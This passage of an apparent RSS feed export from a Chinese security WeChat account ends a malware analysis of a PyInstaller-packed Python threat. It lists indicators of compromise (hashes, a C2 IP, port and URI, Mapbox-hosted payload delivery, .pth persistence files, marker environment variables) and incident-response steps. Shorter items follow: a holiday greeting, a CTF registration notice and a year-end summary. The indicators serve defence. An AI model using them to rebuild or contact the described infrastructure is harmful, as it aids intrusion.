13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">Crypto/</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">库</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">PyCryptodome</span></p></td></tr></tbody></table><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">7. IOC (威胁指标)</span></h2><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf=""># 文件哈希</span><span leaf=""><br/></span><span leaf="">SHA256: 8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca</span><span leaf=""><br/></span><span leaf="">MD5:    ae978caf837221519847c0764bc492a8</span><span leaf=""><br/></span><span leaf=""># C2 服务器</span><span leaf=""><br/></span><span leaf="">IP:   139.99.54.58</span><span leaf=""><br/></span><span leaf="">Port: 8088</span><span leaf=""><br/></span><span leaf="">URI:  /api/v2/uswwwkuch2w2hwcg</span><span leaf=""><br/></span><span leaf=""># 载荷分发（利用合法服务）</span><span leaf=""><br/></span><span leaf="">域名: api.mapbox.com</span><span leaf=""><br/></span><span leaf="">账号: mattallahsaed</span><span leaf=""><br/></span><span leaf="">数据集: cmismaye7000s1mp2v8fkn4lp</span><span leaf=""><br/></span><span leaf=""># 持久化标志</span><span leaf=""><br/></span><span leaf="">文件: {site-packages}/package.pth</span><span leaf=""><br/></span><span leaf="">文件: {site-packages}/https.py</span><span leaf=""><br/></span><span leaf="">文件: {site-packages}/pozos.py</span><span leaf=""><br/></span><span leaf="">环境变量: ZEBUWIAKGPHOQAP006=PTsjBGKQUxZorq2</span><span leaf=""><br/></span><span leaf="">环境变量: JKHWQVEKRASDF12=JKHKJ23VAS8DF9</span><span leaf=""><br/></span><span leaf="">Python Builtins 属性: __slogsec_make_secure__</span><span leaf=""><br/></span><span leaf=""># 编译信息</span><span leaf=""><br/></span><span leaf="">编译器: GCC 11.3.0 (Debian)</span><span leaf=""><br/></span><span leaf="">Python: 3.12</span><span leaf=""><br/></span><span leaf="">PyInstaller: 2.1+</span><span leaf=""><br/></span></code></pre><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">8. 应急建议</span></h2><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2em;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">立即隔离</span></strong><p><span leaf=""> 运行过该文件的主机，断网排查</span></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">检查持久化</span></strong><p><span leaf=""> - 搜索所有 Python 环境中的 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">package.pth</span></code><span leaf="">、</span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">https.py</span></code><span leaf="">、</span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">pozos.py</span></code></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">检查环境变量</span></strong><p><span leaf=""> - </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">ZEBUWIAKGPHOQAP006</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">JKHWQVEKRASDF12</span></code></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">网络封锁</span></strong><p><span leaf=""> - 封锁 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">139.99.54.58</span></code><span leaf="">，排查到该 IP 的历史连接</span></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">审计 `.pth` 文件</span></strong><p><span leaf=""> - 全盘搜索所有 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">.pth</span></code><span leaf=""> 文件，检查是否有可疑的 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">import</span></code><span leaf=""> 行</span></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">凭据轮换</span></strong><p><span leaf=""> - 受影响主机上的所有凭据、密钥、token 必须更换</span></p></li><li style="box-sizing: border-box;margin: 0.25em 0px 0px;padding: 0px;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">日志取证</span></strong><p><span leaf=""> - 分析网络流量日志中到 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">api.mapbox.com</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">139.99.54.58</span></code><span leaf=""> 的连接记录</span></p></li></ol><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6a7ff478&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515488%26idx%3D1%26sn%3D5cae19817531182237bba95dbca9314c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Mar 2026 14:14:00 +0800</pubDate>
    </item>
    <item>
      <title>白帽一百祝各位 新春快乐万事胜意</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515481&amp;idx=1&amp;sn=3eee8202997445e84f28d13e1c1afd85</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>白帽一百</span> <span>2026-02-16 18:24</span> <span style="display: inline-block;">内蒙古</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1d7e3d96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdS3TeHzf2N5bfjk2BZBPhW6oTLmiakyK2GrjEsicHfTGuxwNOJY8vsFic0ow67v5Z6YQNkgHYIKiaZKXMQOPdnJ1nPSA8gtGqLt6icLFUfeh3FRE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div><p style="display: inline-block;"><img data-ratio="2.1642512077294684" data-w="1242" data-type="jpg" src="https://wechat2rss.xlab.app/img-proxy/?k=983df9a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FdS3TeHzf2N49pDiatrQRcRpLpddl5CPMLxdOD4zy2IY0H7ezEPNBqRsdNXdYOXcSkcWJ0tokAjIjLOU8x5fQbUoU9GZtK4Gqicw9d76HHUglo%2F640%3Fwx_fmt%3Djpeg"/></p></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c019ac8d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515481%26idx%3D1%26sn%3D3eee8202997445e84f28d13e1c1afd85">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 16 Feb 2026 18:24:00 +0800</pubDate>
    </item>
    <item>
      <title>VNCTF 2026 报名开启</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515465&amp;idx=1&amp;sn=4164a3b10ec02b6e586666b30f42d720</link>
      <description>时间：2026.1.30 10:00 - 2026.2.1 10:00&#xA;比赛地址：https://vnctf.vnteam.cn&#xA;比赛qq群：717513199&#xA;难度：简单，面向大一大二CTF选手</description>
      <content:encoded><![CDATA[<p><span>白帽100安全攻防实验室</span> <span></span> <span style="display: inline-block;">浙江</span></p>






  
  
  <p>时间：2026.1.30 10:00 - 2026.2.1 10:00</p><p>比赛地址：https://vnctf.vnteam.cn</p><p>比赛qq群：717513199</p><p>难度：简单，面向大一大二CTF选手</p>
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=daae237d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvians67rXq9hGdVQrK1YKK5PfDNYAZveh9UsMx3hB27F4V6AD360ibYPOQjep5U53rU9yejvhI7mSA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1abc3427&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvians67rXq9hGdVQrK1YKK5wcCY6beqoiaCuviasZ2ftzeiclTVTSMBXVPeTQibp91WUQqawLDuaCE5fw%2F0%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2cea29c6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515465%26idx%3D1%26sn%3D4164a3b10ec02b6e586666b30f42d720">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 25 Jan 2026 10:56:15 +0800</pubDate>
    </item>
    <item>
      <title>白帽一百2025年终总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515441&amp;idx=1&amp;sn=f8bdacb6ccdd84259aecdb58e88736e3</link>
      <description>年终总结</description>
      <content:encoded><![CDATA[<p>原创 <span>白帽一百</span> <span>2025-12-31 13:05</span> <span style="display: inline-block;">德国</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c4ce17e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibtsvRy0gNnJnFBYHq7nza0aWEeH3iaOKqibt6HUGBxfkiaj5XonSC0sIPxJKD28QEqPIZicCciaFaPpVPQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>年终总结</p>
  <div style="font-size: 15px;letter-spacing: 2px;line-height: 1.8;padding-left: 0px;padding-right: 0px;background-position: 0% 34.2288%;background-repeat: repeat-y;background-size: 100%;background-attachment: scroll;font-family: PingFangSC-light;color: rgb(255, 255, 255);background-image: url(&#34;https://mmecoa.qpic.cn/mmecoa_png/ugnYPLVSd8tELjCUsszdsNoQp3eRvXicu37ogcwtykxRssLicmBI7aJwdpURFk3FQtk6tdP0EPhMRpMS6uBWM2tQ/640?wx_fmt=png&#34;);box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;"><div style="display: inline-block;width: 100%;vertical-align: top;overflow: hidden;align-self: flex-start;font-family: &#34;Noto Sans CJK SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;box-sizing: border-box;"><div style="height: 0px;overflow: visible;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="display: inline-block;width: 100%;height: auto;vertical-align: top;overflow-x: hidden;overflow-y: auto;box-sizing: border-box;"><div style="overflow: visible;height: 0px;padding-top: 0.02px;box-sizing: border-box;"><div style="display: grid;width: 100%;overflow: hidden;align-self: flex-start;background-color: rgb(0, 0, 0);line-height: 1.6;font-size: 16px;letter-spacing: 0px;color: rgb(0, 0, 0);grid-template-columns: 100%;grid-template-rows: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 0%;margin-top: 0%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/rIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYOWytlsvYs9iahPn340b9jUdbv3TbEdgnQfuy4tGpzpY2tt2sPyMBSI6w/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-ratio="1.404233870967742" data-s="300,640" style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" data-w="992" src="https://wechat2rss.xlab.app/img-proxy/?k=2709420d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FrIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYOWytlsvYs9iahPn340b9jUdbv3TbEdgnQfuy4tGpzpY2tt2sPyMBSI6w%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 100%;height: 94.257%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 0%;margin-top: 0%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/rIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYOic5o9HB8tkxxn0ia2wWc46NyNvSgaG16ibCOngcXndC73J1OxfztJtClQ/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="1.3235887096774193" data-s="300,640" data-w="992" src="https://wechat2rss.xlab.app/img-proxy/?k=0fc82a39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FrIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYOic5o9HB8tkxxn0ia2wWc46NyNvSgaG16ibCOngcXndC73J1OxfztJtClQ%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 86.0887%;height: 85.2118%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 7.35887%;margin-top: 11.5928%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="opacity: 0.25;height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/rIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYOmT4MjFc4WibkCjzOEd7l1bIrNgo9G8icQqKZWkQpg4D0DV56Dcl6Ev5g/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="1.3899297423887589" data-s="300,640" data-w="854" src="https://wechat2rss.xlab.app/img-proxy/?k=232902a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FrIpvq0micRGuVdNI2ZKSs0Dk6O5MJEPYOmT4MjFc4WibkCjzOEd7l1bIrNgo9G8icQqKZWkQpg4D0DV56Dcl6Ev5g%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 96.4718%;height: 30.6533%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 1.81452%;margin-top: 12.9032%;grid-column-start: 1;grid-row-start: 1;box-sizing: border-box;"><div style="height: 100%;box-sizing: border-box;"><div style="width: 100%;height: 100%;background-position: center center;background-repeat: no-repeat;background-size: cover;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/YBqGg0TUOjRiaWVL3LuEicwrViaa7XSvXvsbpCjEZKViaicx73Tyib49Q3GFlicuvMmt1YYOUv2uTOruTBvOkYyDt91WQ/640?wx_fmt=png&#34;);box-sizing: border-box;"><p style="width: 100%;height: 100%;overflow: hidden;line-height: 0;max-width: 100%;box-sizing: border-box;" nodeleaf=""><img style="width: 100%;height: auto;opacity: 0;box-sizing: border-box;" class="rich_pages wxw-img" data-ratio="0.44618599791013586" data-s="300,640" data-w="957" src="https://wechat2rss.xlab.app/img-proxy/?k=1d471a85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FYBqGg0TUOjRiaWVL3LuEicwrViaa7XSvXvsbpCjEZKViaicx73Tyib49Q3GFlicuvMmt1YYOUv2uTOruTBvOkYyDt91WQ%2F640%3Fwx_fmt%3Dpng"/></p></div></div></div><div style="width: 58.9718%;height: 4.0201%;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);margin-left: 20.5645%;margin-top: 78.125%;grid-column-start: 1;grid-row-start: 